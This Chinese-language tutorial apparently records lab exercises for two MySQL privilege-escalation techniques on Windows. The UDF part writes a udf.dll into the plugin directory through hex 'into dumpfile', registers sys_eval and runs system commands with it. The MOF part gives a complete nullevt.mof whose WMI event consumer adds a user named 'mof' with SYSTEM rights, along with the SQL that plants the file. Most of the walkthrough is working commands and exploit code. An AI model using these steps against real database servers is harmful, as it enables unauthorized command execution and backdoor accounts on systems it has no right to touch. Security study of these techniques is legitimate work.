MySQL UDF提权
1.漏洞原理
UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数,如 user()
或 concat()
等。
假设我的UDF文件名为 udf.dll
,存放在MySQL安装目录的 lib/plugin
目录下。在 udf.dll
文件中,定义了名为 sys_eval
的mysql函数,该函数可以执行系统任意命令。但是如果现在就打开MySQL命令行,使用 select sys_eval('dir');
的话,系统会返回sys_eval()
函数未定义。因为仅仅是把 udf.dll 放到了 lib/plugin
目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
2.实例用法
create function sys_eval returns string soname 'udf.dll';
只有两个变量:
- 一个是 function_name(函数名),此处我们引入的函数是 sys_eval
- 另一个是 share_library_name (共享包名称),即 udf.dll
引入sys_eval函数之后,就可以使用了
select * from mysql.func where name = 'sys_eval'; # 查看创建的sys_eval函数
select sys_eval('whoami'); # 执行命令
3.提权前提
- MySQL必须是root权限
- secure_file_priv=(未写路径)
- 将udf.dll写入到mysql的plugin目录下(以MySQL>=5.1为例)
4.实验
在cmd中输入mysql -uroot -p
,再输入密码root
,进入mysql
首先查看数据库的版本
select version();
查看secure_file_priv
的值
show global variables like 'secure%';
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
此处secure_file_priv
的值为空,可以提权
查看plugin
的目录名称
show variables like 'plugin%';
查询目录的绝对路径
select @@plugin_dir
查看系统架构
show variables like '%compile%';
可以看到该主机是64位的
接下来将桌面上的dll文件写入plugin目录,并创建函数
select 0x十六进制内容 into dumpfile "plugin的目录\\udf.dll"
将udf.dll文件转化为十六进制
select hex(load_file('C:\\Users\\Administrator\\Desktop\\udf.dll')) into dumpfile 'C:\\Users\\Administrator\\Desktop\\udf.txt';
此处要用 \\ 对 \ 转义
再把生成的udf.txt里面的十六进制内容写入C:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll
select 0x4D5A90000300000 ...... into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';
成功将udf.dll写入目标路径
导入udf函数
create function sys_eval returns string soname 'udf.dll'; # 导入sys_eval函数
select * from mysql.func where name = 'sys_eval'; # 查看创建的sys_eval函数
执行系统命令
select sys_eval('whoami');
select sys_eval('ipconfig');
MySQL MOF提权
1.漏洞原理
mof指的是托管对象格式,是一种文件类型,它(nullevt.mof)在 C:\WINDOWS\system32\wbem\mof\ 路径下,将会每隔一段时间以system权限执行一次,我们可以通过root权限下的mysql将该文件写入到路径下,以达到提权的效果。
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
2.提权前提
- secure_file_priv=(未写路径)
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录,且允许外连
- 操作系统为Windows,版本不宜过高
3.实验
在cmd中输入mysql -uroot -p
,再输入密码root
,进入mysql
首先查看数据库的版本
select version();
查看secure_file_priv
的值
show global variables like 'secure%';
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
此处secure_file_priv
的值为空,可以尝试提权
接着在cmd执行命令net user
,查看当前系统的用户
此时系统的用户为Adminsitrator
和Guest
nullevt.mof
的内容为
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mof 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
执行nullevt.mof
,会执行net.exe user mof 123456 /add
命令,创建一个新用户。
利用MySQL把桌面上的nullevt.mof
上传到C:/WINDOWS/system32/wbem/mof/nullevt.mof
select load_file('C:\\Documents and Settings\\Administrator\\桌面\\nullevt.mof') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';
上传mof文件成功。
等待几秒钟,再次net user
查看系统用户
发现多了一个mof
,成功创建了一个新用户。